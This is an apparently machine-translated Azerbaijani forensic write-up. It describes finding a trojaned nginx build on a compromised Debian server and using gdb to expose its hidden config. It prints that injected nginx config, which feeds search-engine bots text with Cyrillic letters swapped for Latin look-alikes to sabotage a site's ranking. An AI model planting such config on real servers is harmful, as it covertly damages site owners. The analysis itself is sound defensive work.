'a' 'a' ilə bərabər olmadıqda. Bir hack ardınca

Dostlarımdan birinin başına çox xoşagəlməz bir hekayə gəldi. Amma Mixail üçün nə qədər xoşagəlməz olsa da, mənim üçün bir o qədər əyləncəli idi.

Deməliyəm ki, dostum kifayət qədərdir UNIX-istifadəçi: sistemi özü quraşdıra bilər mysql, php və sadə parametrlər edin nginx.
Və onun tikinti alətlərinə həsr olunmuş onlarla və ya bir yarım veb saytı var.

Zəncirli mişarlara həsr olunmuş bu saytlardan biri axtarış motorlarının TOP-da möhkəm oturur. Bu sayt qeyri-kommersiya rəyçisidir, lakin kimsə ona hücum etmək vərdişi qazanıb. Bu DDoS, sonra kobud güc, sonra nalayiq şərhlər yazıb hostinqə və RKN-ə sui-istifadələr göndərirlər.
Birdən hər şey sakitləşdi və bu sakitliyin yaxşı olmadığı üzə çıxdı və sayt axtarış nəticələrinin yuxarı sətirlərini tədricən tərk etməyə başladı.

'a' 'a' ilə bərabər olmadıqda. Hack nəticəsində

Bu bir söz idi, sonra adminin hekayəsi.

Yuxu vaxtı yaxınlaşırdı ki, telefon zəng çaldı: “San, mənim serverimə baxmayacaqsan? Mənə elə gəlir ki, sındırılmışam, sübut edə bilmirəm, amma üçüncü həftədir ki, bu hiss məni tərk etmir. Bəlkə mənim üçün paranoyyadan müalicə almağın vaxtıdır?”

Sonrakı yarım saatlıq müzakirə oldu və onu aşağıdakı kimi ümumiləşdirmək olar:

  • hacking üçün torpaq olduqca münbit idi;
  • təcavüzkar super istifadəçi hüquqları əldə edə bilər;
  • hücum (əgər baş vermişsə) xüsusi olaraq bu sayta yönəlmişdi;
  • problem sahələri düzəldildi və sadəcə hər hansı bir nüfuz olub olmadığını başa düşməlisiniz;
  • hack sayt koduna və verilənlər bazasına təsir göstərə bilmədi.

Sonuncu nöqtəyə gəldikdə.

'a' 'a' ilə bərabər olmadıqda. Hack nəticəsində

Yalnız ağ cəbhə IP dünyaya baxır. Http(lər)dən başqa backendlər və frontend arasında heç bir mübadilə yoxdur, istifadəçilər/parollar fərqlidir, heç bir açar dəyişdirilməyib. Boz ünvanlarda, 80/443 istisna olmaqla, bütün portlar bağlıdır. Ağ arxa IP-lər yalnız Mixailin tamamilə etibar etdiyi iki istifadəçiyə məlumdur.

Ön hissədə quraşdırılmışdır Debian 9 və zəng edilən zaman sistem xarici firewall tərəfindən dünyadan təcrid olunur və dayandırılır.

"Yaxşı, mənə icazə ver" dedim, bir saatlıq yuxunu təxirə salmaq qərarına gəldim. "Öz gözlərimlə görəcəm."

Burada və daha çox:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

Mümkün hack axtarır

Əvvəlcə serveri işə salıram xilasetmə rejimi. Diskləri quraşdırıram və onları çevirirəm autent-loglar, tarix, sistem qeydləri və s., mümkünsə, faylın yaradılma tarixlərini yoxlayıram, baxmayaraq ki, başa düşürəm ki, normal bir kraker öz arxasınca "süpürəcəkdi" və Mişa özünü axtararkən artıq çox "aşağı tapmışdı". .

Normal rejimdə başlayıram, nə axtarmaq lazım olduğunu hələ başa düşmürəm, konfiqurasiyaları öyrənirəm. Əvvəla, məni maraqlandırır nginx çünki, ümumiyyətlə, frontenddə ondan başqa heç nə yoxdur.
Konfiqurasiyalar kiçikdir, onlarla faylda yaxşı qurulmuşdur, mən sadəcə onlara baxıram pişik'ey bir-bir. Hər şey təmiz kimi görünür, amma nəyisə qaçırdığımı bilmirsən daxil, icazə verin tam siyahı edim:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

Başa düşmədim: "Elan haradadır?"

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

Siyahı sualına ikinci sual əlavə olunur: "Niyə nginx-in belə qədim versiyası?"

Bundan əlavə, sistem ən son versiyanın quraşdırıldığına inanır:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

Mən zəng edirəm:
- Mişa, niyə yenidən yığıldın? nginx?
- Dayan, bunu necə edəcəyimi heç bilmirəm!
-Yaxşı, get yat...

Nginx aydın şəkildə yenidən qurulur və “-T” istifadə edərək siyahının çıxışı bir səbəbdən gizlədilir. Hacklə bağlı artıq heç bir şübhə yoxdur və siz sadəcə qəbul edə bilərsiniz və (Mişa serveri hər halda yenisi ilə əvəz etdiyi üçün) problemin həll olunduğunu hesab edin.

Və həqiqətən, kimsə hüquqlarını əldə etdiyi üçün kök'ah, o zaman bunu etmək məntiqlidir sistemi yenidən quraşdırın, və orada nə səhv olduğunu axtarmaq faydasız idi, amma bu dəfə maraq yuxunu məğlub etdi. Onların bizdən nə gizlətmək istədiklərini necə öyrənə bilərik?

İzləməyə çalışaq:

$ strace nginx -T

Baxırıq, a la izində açıq-aydın kifayət qədər sətirlər yoxdur

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Sadəcə əylənmək üçün gəlin tapıntıları müqayisə edək.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Mən kodun bir hissəsini düşünürəm /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

formaya endirilmişdir:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

və ya

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

buna görə də "-T" ilə siyahı göstərilmir.

Bəs konfiqurasiyamızı necə görə bilərik?

Fikrim düzdürsə və problem ancaq dəyişəndədirsə ngx_dump_config istifadə edərək quraşdırmağa çalışaq gdb, xoşbəxtlikdən bir açar var --cc-opt ilə -g təqdim edir və optimallaşdırılmasına ümid edirik -O2 bizə zərər verməyəcək. Eyni zamanda, necə olduğunu bilmirəm ngx_dump_config -də emal oluna bilər 'T' halı:, biz bu bloku çağırmayacağıq, lakin istifadə edərək quraşdıracağıq 't' halı:

Niyə '-t' və '-T' hərflərindən istifadə edə bilərsinizBlok Emalı əgər(ngx_dump_config) daxilində baş verir əgər(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Əlbəttə ki, kod bu hissədə deyil, dəyişdirilərsə 'T' halı:, onda mənim metodum işləməyəcək.

nginx.conf sınayınProblemi artıq eksperimental olaraq həll etdikdən sonra, zərərli proqramın işləməsi üçün minimum konfiqurasiya tələb olunduğu müəyyən edildi nginx növü:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Məqalədə qısalıq üçün istifadə edəcəyik.

Sazlayıcını işə salın

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

Addım addım:

  • funksiyada kəsilmə nöqtəsi təyin edin əsas ()
  • proqramı işə salın
  • konfiqurasiyanın çıxışını təyin edən dəyişənin dəyərini dəyişdirin ngx_dump_config=1
  • proqramı davam etdirin/sonlandırın

Gördüyümüz kimi, əsl konfiqurasiya bizimkindən fərqlənir, ondan parazit parça seçirik:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Gəlin burada nə baş verdiyinə bir nəzər salaq.

Qərarlı İstifadəçi Agentyandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Xidmət səhifələri istisna olunur Mesaja:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

Və yuxarıdakı şərtlərin hər ikisinə düşənlər üçün

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

mətndə html-səhifələr dəyişir 'O' haqqında 'o' и 'A' haqqında 'a':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Düzdü, yeganə incəlik ondadır 'a' != 'a' eləcə də 'o' != 'o':

'a' 'a' ilə bərabər olmadıqda. Hack nəticəsində

Beləliklə, axtarış motoru botları adi 100% kiril mətni əvəzinə Latın dili ilə seyreltilmiş dəyişdirilmiş zibil alır. 'a' и 'o'. Bunun SEO-ya necə təsir etdiyini müzakirə etməyə cəsarət etmirəm, lakin bu cür hərflərin axtarış nəticələrindəki mövqelərə müsbət təsir göstərməsi ehtimalı azdır.

Nə deyim, fantaziyası olan uşaqlar.

References

GDB ilə sazlama
gdb(1) — Linux istifadəçi səhifəsi
strace(1) — Linux istifadəçi səhifəsi
Nginx - Modul ngx_http_sub_module
Testereler, zəncirli mişarlar və elektrik mişarları haqqında

Mənbə: www.habr.com

Добавить комментарий